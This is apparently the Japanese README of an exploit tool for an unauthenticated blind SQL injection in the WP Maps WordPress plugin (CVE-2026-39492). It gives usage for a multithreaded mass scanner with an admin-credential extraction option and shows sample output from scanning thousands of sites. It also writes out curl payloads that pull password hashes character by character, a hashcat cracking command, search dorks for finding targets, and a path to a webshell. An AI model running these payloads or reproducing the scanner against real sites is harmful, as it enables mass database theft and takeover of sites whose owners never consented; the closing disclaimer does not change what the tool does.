
CVE-2026-39492 — WP Maps (wp-google-map-plugin) <= 4.9.1 認証不要のブラインドSQLインジェクション一括スキャナー | sqlmapスタイルの検出 | バックティックによるesc_sql()回避 | 10万以上のインストール
CVE-2026-39492 は、WP Maps プラグイン(wp-google-map-plugin)バージョン 4.9.1以下 における、CVSS 9.3の重大な未認証ブラインドSQLインジェクション脆弱性です。
wpgmp_ajax_call AJAXハンドラは、未認証アクセス用に wp_ajax_nopriv_ 経由で登録されています。location_id パラメータは を通過します。この関数はを信頼できるSQLカラム識別子として誤って扱い、WordPressの サニタイズを完全にバイパスします。
FlipperCode_Model_Base::is_column()esc_sql()| WP Maps バージョン | ステータス |
|---|---|
| ≤ 4.9.1 | 脆弱 |
| ≥ 4.9.2 | 修正済み |
アクティブインストール数: 100,000+
プラグインのデータベース抽象化レイヤーで、is_column() はユーザー入力がバックティックでラップされているか確認します:
// 脆弱: バックティックでラップされた入力が信頼できるカラム識別子として扱われる
function is_column($value) {
if (preg_match('/^`.*`$/', $value)) {
return true; // esc_sql() を完全にバイパス!
}
return false;
}
is_column() が true を返すと、入力は esc_sql() エスケープなしでSQLクエリに直接渡されます。これにより、次のような入力が可能になります:
location_id=`1` AND SLEEP(5) AND `1`=`1
1. readme.txt経由でWP Mapsを検出 → バージョンを抽出
2. POST /wp-admin/admin-ajax.php?action=wpgmp_ajax_call
3. location_idパラメータにバックティックでラップしたペイロードを挿入
4. 応答時間を測定 — SLEEP(N)でSQLインジェクションを確認
5. ブール/時間ベースブラインド手法でデータを抽出
| メトリクス | 値 |
|---|---|
| 攻撃ベクトル | ネットワーク |
| 攻撃複雑性 | 低 |
| 必要な権限 | なし |
| ユーザー操作 | なし |
| スコープ | 変更あり(データベース全体に影響) |
| 機密性 | 高 |
| 完全性 | なし |
| 可用性 | 低 |
git clone https://github.com/shinthink/CVE-2026-39492.git
cd CVE-2026-39492
pip install -r requirements.txt
# 単一ターゲットの検出
python cve_2026_39492.py -t target.com
# 大量スキャン
python cve_2026_39492.py -f targets.txt
# 大量スキャン + 結果を保存
python cve_2026_39492.py -f targets.txt -o sqli.txt
# 単一ターゲット + 認証情報抽出
python cve_2026_39492.py -t target.com --extract -v
# 詳細出力
python cve_2026_39492.py -t target.com -v
-t, --target 単一のターゲット(ドメインまたはIP)
-f, --file ターゲットリスト(1行に1つ)
-o, --output 脆弱なターゲットをファイルに保存
--threads 同時ワーカー数(デフォルト: 20)
--extract 確認済みターゲットから管理者認証情報を抽出
-v, --verbose 詳細な出力を表示
$ python cve_2026_39492.py -t target.com -v
CVE-2026-39492 — WP Maps Blind SQL Injection Scanner
CVSS 9.3 | Pre-Auth | wpgmp_ajax_call → Backtick Bypass
Target: WP Maps (wp-google-map-plugin) <= 4.9.1
Vector: admin-ajax.php?action=wpgmp_ajax_call → location_id
Bypass: backtick-wrapped input bypasses esc_sql()
[+] WP Maps detected: v4.9.0
[*] SQLi test: 6.2s (threshold: 5s)
[+] Blind SQLi CONFIRMED (response: 6.2s)
Host : target.com
WP Maps : YES v4.9.0
SQLi : YES
Resp time : 6.2s
Time : 7.1s
$ python cve_2026_39492.py -t target.com --extract -v
[+] Blind SQLi CONFIRMED (response: 5.8s)
[*] Extracting admin credentials via blind SQLi...
[*] Extracting: admin_user
[*] Extracting: $P$BqVg...
Admin User : admin_user
Admin Hash : $P$BqVg7xX...
CVE-2026-39492 WP Maps Blind SQLi Scanner
Targets: 2500 | Threads: 20
Vector: wpgmp_ajax_call → location_id backtick bypass
───────────────────────────────────────────────────────
[SQLi] target-vuln.com 6.2s v4.9.0 resp:6.2s
[SQLi] wp-maps-site.com 5.8s v4.8.5 resp:5.8s
[500/2500] 20% | WP Maps:47 SQLi:12 | current-target.com
───────────────────────────────────────────────────────
Scan complete | Time: 320s
───────────────────────────────────────────────────────
Targets : 2500
WP Maps found : 47
SQLi confirmed : 12
ステップ1 — プラグインを検出
curl -sk 'https://target.com/wp-content/plugins/wp-google-map-plugin/readme.txt' | head -5
ステップ2 — SLEEPでSQLiをテスト
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=wpgmp_ajax_call' \
-d 'location_id=`1` AND SLEEP(5) AND `1`=`1'
# Response > 5 seconds → VULNERABLE
ステップ3 — ブラインドSQLiで管理者ハッシュを抽出
# Check first character of admin hash
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=wpgmp_ajax_call' \
-d 'location_id=`1` AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(3),0) AND `1`=`1'
# Response > 3 seconds → first char is ASCII 36 = '$'
ステップ4 — ハッシュをクラックしてログイン → 完全なRCE
hashcat -m 400 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt
body="wp-google-map-plugin"
http.html:"wp-google-map-plugin"
攻撃が成功すると、WordPressデータベース全体が抽出される可能性があります:
SELECT ... INTO OUTFILE → ウェブシェル → 直接RCE教育目的および許可されたテスト目的のみに使用してください。
このソフトウェアは、許可された侵入テストを実施するセキュリティ専門家、自社インフラを監査する組織、および脆弱性悪用を研究する研究者を対象としています。
許可なくコンピュータシステムにアクセスすることは違法であり、以下の法律に違反する可能性があります:
- 米国: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- インドネシア: UU ITE 第30条および第46条
- 欧州連合: 指令 2013/40/EU
- 英国: Computer Misuse Act 1990
著者は誤用に対する一切の責任を負いません。
| リソース | リンク |
|---|---|
| IONIXアドバイザリ | ionix.io/threat-center/cve-2026-39492 |
| WPScanアドバイザリ | wpscan.com/vulnerability/c1f19d2e |
| Wordfenceアドバイザリ | wordfence.com |
| NVDエントリ | CVE-2026-39492 |
| プラグインTrac | wp-google-map-plugin |
このプロジェクトはFlipper CodeやWP Mapsとは提携していません。